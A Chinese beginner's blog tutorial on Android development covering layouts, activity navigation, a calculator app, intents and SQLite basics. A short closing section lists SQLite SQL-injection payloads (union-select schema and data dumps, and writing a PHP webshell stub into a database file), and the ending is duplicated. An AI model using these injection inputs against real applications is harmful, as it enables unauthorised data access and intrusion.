文章目录
- 前言
- 工程项目结构
- hello world
- 界面布局
- 代码操作
- 新页面
- 页面间跳转
- 简单计算器的实现思路
- 前端控件传递数据
- 后端实现逻辑
- 两个Activity之间传值
- 发送数据
- 返回数据
- SQLite
- 简单使用
- 利用语句
- 写在后面
- 写在后面
前言
安卓(Android
)是一种基于Linux
内核的开源操作系统
使用java
、kotlin
语言开发(如果要求效率可以调用C/C++
),安装Android Studio,基于idea
的开发工具
简单配置新建项目运行一个helloworld
可能比较卡,在真机中调试,打开开发者选项,允许usb
调试,我的是华为鸿蒙系统,还要设置关闭监控ADB安装应用
才能安装调试
日志分5个等级
// e:错误信息 w:警告信息 i:一般消息 d:调试信息 v:冗余信息
Log.d("logtest","this is a test log");
如果我们在app
中随意滑动,这个参数会实时传递(好神奇)
安卓开发通常有两种模式,原生模式和混合模式,就类似Client
和Browser
的区别,混合模式通常由 HTML5
云网站 + APP
应用客户端组成,客户端是一个基础框架,而数据交互都要到云端去获取
工程项目结构
一个空项目的结构如下
app
模块结构如下
app:app模块,我们编译运行app就是运行某个模块,而不是一个项目
|————manifests:AndroidManifest.xml,APP的运行配置文件
|————java:第一个包存放当前模块java源代码,后两个是java测试代码
|————res:存放资源文件
|————drawable:存放图形描述文件与图片文件
|————layout:存放app页面的布局文件
|————mipmap:存放app的启动图标
|————values:存放常量定义文件,如字符串常量、像素常量...
Gradle Scripts:类似 maven
|————build.gradle:分为项目级和模块级,用于描述app工程的编译规则
|————proguard-rules.pro:描述java代码的混淆规则
|————gradle.properties:配置编译工程的命令行参数
|————setting.gradle:配置需要编译的模块
|————local.properties:本地配置文件,描述开发者电脑环境配置
hello world
界面布局
使用xml
文件来在前端(?)显示数据,类似html
的作用,同样用java
编写代码逻辑
res/layout/activity_main.xml
,看名字就知道是主界面activity
的xml
,Activity
是一个应用程序组件,提供一个屏幕,用户可以用来交互为了完成某项任务
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<!-- 必须在定义了命名空间后才可以使用
定义:xmlns:app =xxx
使用:app:xxx
-->
<TextView
android:id="@+id/tv"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hello World!"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
<!-- android:id="@+id/tv"为控件定义了唯一标识符 tv -->
</androidx.constraintlayout.widget.ConstraintLayout>
不知道大家用没用chatgpt
,真的很好用啊,强烈推荐!尤其是做安全方面,现在要求太高,什么都要会一点,脚本小子都没饭吃,它可以帮助我们在任何领域快速的从0到1
看出使用了center
属性,那我们的默认代码没有center
怎么做到中间对齐呢?
ta真的更懂我!比起在搜索引擎搜索半天解决不了问题,这个真的太厉害了(或许暂时不能替代程序员或者解决一些高难度的问题,但是看好未来的发展,至少现在,ta已经很棒了,我们可以从枯燥的cv工程师进化成创意实现者,等一下,有了ta我们写博客还有看的价值吗hahaha😂😂)
ps:还有更多有意思的玩法大家自行去搜索吧,我目前只把ta当学习工具&代码助手
有了布局页面,使用代码操作
代码操作
java/com.example.myapplication/MainActivity
,见名知意
在函数中插入两句代码,作用是找到xml
文件中定义的tv
控件,并改变它的文本内容
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
TextView tv = findViewById(R.id.tv);
tv.setText("你好,世界!");
}
新页面
在layout
下新建一个布局文件activity_main2.xml
,添加了一个文本控件,内容引用strings.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:gravity="center">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/text2"/>
</LinearLayout>
在strings.xml
中定义该变量
<string name="text2">My Application text2</string>
新建一个MainActivity2.java
,写逻辑代码,引用main2
的布局文件
public class MainActivity2 extends AppCompatActivity {
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main2);
}
}
在AndroidMainfest.xml
中声明该页面
<activity android:name=".MainActivity2" />
这样一个页面就完成了,当然,有快捷新建选项,帮我们都配置好了,右键选择即可
页面间跳转
从页面1跳转到页面2,使用button
控件绑定一个事件,在main1.xml
中添加button
<Button
android:id="@+id/button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/text3"
tools:ignore="MissingConstraints" />
在main1.java
中新建一个Intent
类,Intent
是 Android 应用程序中用于实现消息传递和跨应用组件调用的类。通过创建一个新的 Intent
对象,可以启动新的 Activity
、向其他应用程序发送消息或广播、启动服务等。
Button button = findViewById(R.id.button);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent();
intent.setClass(MainActivity.this,MainActivity2.class);
startActivity(intent);
}
});
启动main2
的activity
,实现跳转
点击
简单计算器的实现思路
这里只实现了一个简单的计算器的部分功能,很多情况也没写到!!!只是为了了解一整个流程,不用细抠代码
前端控件传递数据
实现一个简单加减乘除计算器,并不需要与服务端链接,它的大致思路就是设计一个布局文件,由n个按钮组成,实现类获取输入的数字与计算方法(加减乘除),然后计算后返回结果到输出控件(话说看过vb的一定都知道这种控件编程)
首先设计布局,计算器由一个标题->简单计算器,一个文本框用来显示输入和计算结果,一个4×5的按钮控件组成
activity_calculator.xml
: 改成垂直线性布局,设置背景颜色和边距
<LinearLayout ...
tools:context=".CalculatorActivity"
android:background="#EEEEEE"
android:orientation="vertical"
android:padding="5dp">
<!-- LinearLayout设置一个垂直线性布局视图,标题,文本框,按钮垂直排列 -->
<ScrollView
android:layout_width="match_parent"
android:layout_height="wrap_content">
<!-- ScrollView设置一个滚动视图,标题,文本框,按钮LinearLayout垂直排列 -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<TextView></TextView>
<TextView></TextView>
<GridLayout>
<Button></Button>
<Button></Button>
...
<Button></Button>
</GridLayout>
</LinearLayout>
</ScrollView>
</LinearLayout>
设置标题行和文本框
<!-- 标题行设置 -->
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="@string/简单计算器"
android:textColor="@color/black"
android:textSize="20sp"
android:gravity="center"/>
<!-- 文本框设置 -->
<TextView
android:id="@+id/tv_result"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:background="@color/white"
android:lines="3"
android:text="0"
android:textColor="@color/black"
android:textSize="25sp"
android:gravity="right|bottom" />
按钮用一个<GridLayout>
控件包裹,20个按钮的设置复制粘贴,改一下文本内容和id
即可,效果如上图
<GridLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:columnCount="4"
android:rowCount="5">
<Button
android:id="@+id/btn_clear_entry"
android:layout_width="0dp"
android:layout_height="@dimen/button_height"
android:layout_columnWeight="1"
android:gravity="center"
android:text="@string/cancel"
android:textColor="@color/black"
android:textSize="@dimen/button_font_size"
android:backgroundTint="#1100"
/>
<Button
android:id="@+id/btn_division"
android:layout_width="0dp"
android:layout_height="@dimen/button_height"
android:layout_columnWeight="1"
android:gravity="center"
android:text="÷"
android:textColor="@color/black"
android:textSize="@dimen/button_font_size"
android:backgroundTint="#1100"
/>
...
</GridLayout>
那么下一步就是数据传递,设置监听器,监听控件传递的内容
public class CalculatorActivity extends AppCompatActivity implements View.OnClickListener {
private TextView tv_result;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_calculator);
// 从布局文件获取名叫tv_result的文本视图
tv_result = findViewById(R.id.tv_result);
// 给20个按钮控件注册监听器
findViewById(R.id.btn_clear_entry).setOnClickListener(this);
findViewById(R.id.btn_division).setOnClickListener(this);
findViewById(R.id.btn_multiplication).setOnClickListener(this);
......
}
@Override
public void onClick(View view) {
// 获取控件内容
String inputText = ((TextView)view).getText().toString();
// 测试是否传入
System.out.println(inputText);
}
}
点击后就会获得文本内容
后端实现逻辑
接下来就是计算器的逻辑设计了,要将按钮分类,每一类对应不同的处理方式
- 一种是数字和小数点,这种是作为操作数拼接处理
- 清除所有
C
,清除当前输入CE
、等于这种文本框显示处理 - 加减乘除倒数开根号这种运算处理
public void onClick(View view) {
String inputText = ((TextView)view).getText().toString();
switch (view.getId()){
// 点击 CE 按钮
case R.id.btn_clear_entry:
break;
// 点击 C 按钮
case R.id.btn_clear:
break;
// 点击加减乘除
case R.id.btn_add:
case R.id.btn_sub:
case R.id.btn_multiplication:
case R.id.btn_division:
break;
// 点击求倒数
case R.id.btn_reciprocal:
break;
// 点击开根号
case R.id.btn_sqrt:
break;
// 点击等号按钮
case R.id.btn_equal:
break;
// 点击数字和点
default:
break;
}
}
设置操作数
// 第一个操作数
private String firstNum = "";
// 第二个操作数
private String secondNum = "";
// 运算符
private String operator = "";
// 当前计算结果
private String result = "";
// 显示的文本内容
private String showText = "";
CE
C
一般我们是先输入一个数,然后点击操作符运算,加减乘除还要输入第二个操作数,然后得到结果,第一个操作数可能是初始状态的 0(直接输入运算符0
+1)/第一次输入的数值(如1
+1)/当前计算结果的值(如1+1
的结果继续运算 1+1
+1),而第二个操作数显然就是运算符后的数值,这样我们计算完得到结果就需要将运算符清空
// 点击数字和点
default:
// 11+1.2+44
if (operator.equals("")){
firstNum = firstNum + inputText;
System.out.println("firstNum is "+firstNum);
}else {
secondNum = secondNum + inputText;
}
// 整数不需要拼接前面的0,不刷新
if (showText.equals("0")&&!inputText.equals(".")){
refreshText(inputText);
}else {
refreshText(showText + inputText);
}
break;
// 刷新文本显示
private void refreshText(String text){
showText = text;
tv_result.setText(showText);
}
加减乘除
// 点击加减乘除
case R.id.btn_add:
case R.id.btn_sub:
case R.id.btn_multiplication:
case R.id.btn_division:
operator = inputText;
refreshText(showText + operator);
break;
等号计算加减乘除
// 点击等号按钮
case R.id.btn_equal:
double calculate_result = calculateFour();
refreshOperate(String.valueOf(calculate_result));
refreshText(showText + "=" + result);
break;
private void refreshOperate(String new_result) {
result = new_result;
firstNum = result;
secondNum = "";
operator = "";
}
private double calculateFour() {
switch (operator){
case "+":
return Double.parseDouble(firstNum) + Double.parseDouble(secondNum);
case "-":
return Double.parseDouble(firstNum) - Double.parseDouble(secondNum);
case "×":
return Double.parseDouble(firstNum) * Double.parseDouble(secondNum);
case "÷":
return Double.parseDouble(firstNum) / Double.parseDouble(secondNum);
}
return 0;
}
清除
// 点击 C 按钮
case R.id.btn_clear:
clear();
break;
private void clear() {
firstNum = "";
secondNum = "";
operator = "";
refreshText("");
}
重申:bug多多,感兴趣自行调试,加减乘除功能基本实现
两个Activity之间传值
发送数据
之前说两个Activity
跳转使用intent
(意图)跳转,发送数据也是如此
Intent intent = new Intent();
intent.putExtra("key", "value");
startActivity(intent);
或者使用包裹bundle
打包数据,再放入
Bundle bundle = new Bundle();
bundle.putString("name","jojo");
bundle.putInt("age",15);
intent.putExtra(bundle);
startActivity(intent);
接收数据,从Intent
中获取Extras
Bundle bundle = getIntent().getExtras();
String name = bundle.getString("name");
int age = bundle.getInt("age");
返回数据
返回数据方使用setResult
方法
Intent resultIntent = new Intent();
resultIntent.putExtra("key", "value");
setResult(RESULT_OK, resultIntent);
finish();
接收方
Intent intent = new Intent(this, MyActivity.class);
startActivityForResult(intent, REQUEST_CODE);
// 接收返回数据,重写onActivityResult方法
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == REQUEST_CODE && resultCode == RESULT_OK) {
String value = data.getStringExtra("key");
}
}
SQLite
简单使用
SQLite
是一款用于嵌入式的轻量级的数据库,我们在安卓开发时就使用这种数据
创建一个数据库,它是以文件的形式存在的
sqlite3 test.db
// 打开一个数据库,没有则新建
sqlite>.open test.db
// 查看当前数据库路径
sqlite> .databases
main: /home/ubuntu/Documents/sqlite_db/test.db r/w
创建表
sqlite> CREATE TABLE COMPANY(
ID INT PRIMARY KEY NOT NULL,
NAME TEXT NOT NULL,
AGE INT NOT NULL,
ADDRESS CHAR(50),
SALARY REAL
);
sqlite> CREATE TABLE DEPARTMENT(
ID INT PRIMARY KEY NOT NULL,
DEPT CHAR(50) NOT NULL,
EMP_ID INT NOT NULL
);
// 查看表
sqlite> .tables
COMPANY DEPARTMENT
插入数据
INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY)
VALUES (1, 'Paul', 32, 'California', 20000.00 );
INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY)
VALUES (2, 'Allen', 25, 'Texas', 15000.00 );
...
// 查看表数据
SELECT column1, column2, columnN FROM table_name;
SELECT * FROM table_name
// 格式化输出
sqlite> .headers on
sqlite> .mode column
sqlite> select * from company;
菜鸟教程-SQLite
我们在开发时可以通过继承SQLiteOpenHelper
实现类来编写sqlite
语句,都是差不多的
利用语句
字段数&回显位置
/* 查询字段数(3列) */
'1' order by 3;
'1' order by 4;
/* 查看回显位置 */
'0' union select 1,2,3;
/* 查版本 */
'0' union select 1,2,sqlite_version();
查看当前数据库表名和字段名
'0' union select 1,2,sql from sqlite_master;
'0' union select 1,2,sql from sqlite_master where type='table';
'0' union select 1,2,sql from sqlite_master where type='table' and name='company';
查询数据
'0' union select ID,NAME,AGE,ADDRESS,SALARY from company;
写webshell
/* 写到 db 文件需要文件包含漏洞,否则无法执行 */
INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY)
VALUES (payload, '00', 32, '<?php phpinfo();?>', 20000.00 );
还可以使用attach
,这里就不说了
写在后面
因为学习过java
,就不再继续深入了,了解大致开发流程即可,除了APP
本地的数据交互,还会有云端交互,也就是常见的web app
,这是一种框架型APP
开发模式(HTML5 APP
框架开发模式),具有跨平台的优势,该模式通常由HTML5云网站+APP应用客户端
两部份构成,APP
应用客户端只需安装应用的框架部份,而应用的数据则是每次打开APP
的时候,去云端取数据呈现给手机用户,还有完全的html5 app
等,这就和web
应用所差无几了
ere type=‘table’ and name=‘company’;
查询数据
```sqlite
'0' union select ID,NAME,AGE,ADDRESS,SALARY from company;
写webshell
/* 写到 db 文件需要文件包含漏洞,否则无法执行 */
INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY)
VALUES (payload, '00', 32, '<?php phpinfo();?>', 20000.00 );
[外链图片转存中…(img-wHI63ChM-1670913175990)]
还可以使用attach
,这里就不说了
写在后面
因为学习过java
,就不再继续深入了,了解大致开发流程即可,除了APP
本地的数据交互,还会有云端交互,也就是常见的web app
,这是一种框架型APP
开发模式(HTML5 APP
框架开发模式),具有跨平台的优势,该模式通常由HTML5云网站+APP应用客户端
两部份构成,APP
应用客户端只需安装应用的框架部份,而应用的数据则是每次打开APP
的时候,去云端取数据呈现给手机用户,还有完全的html5 app
等,这就和web
应用所差无几了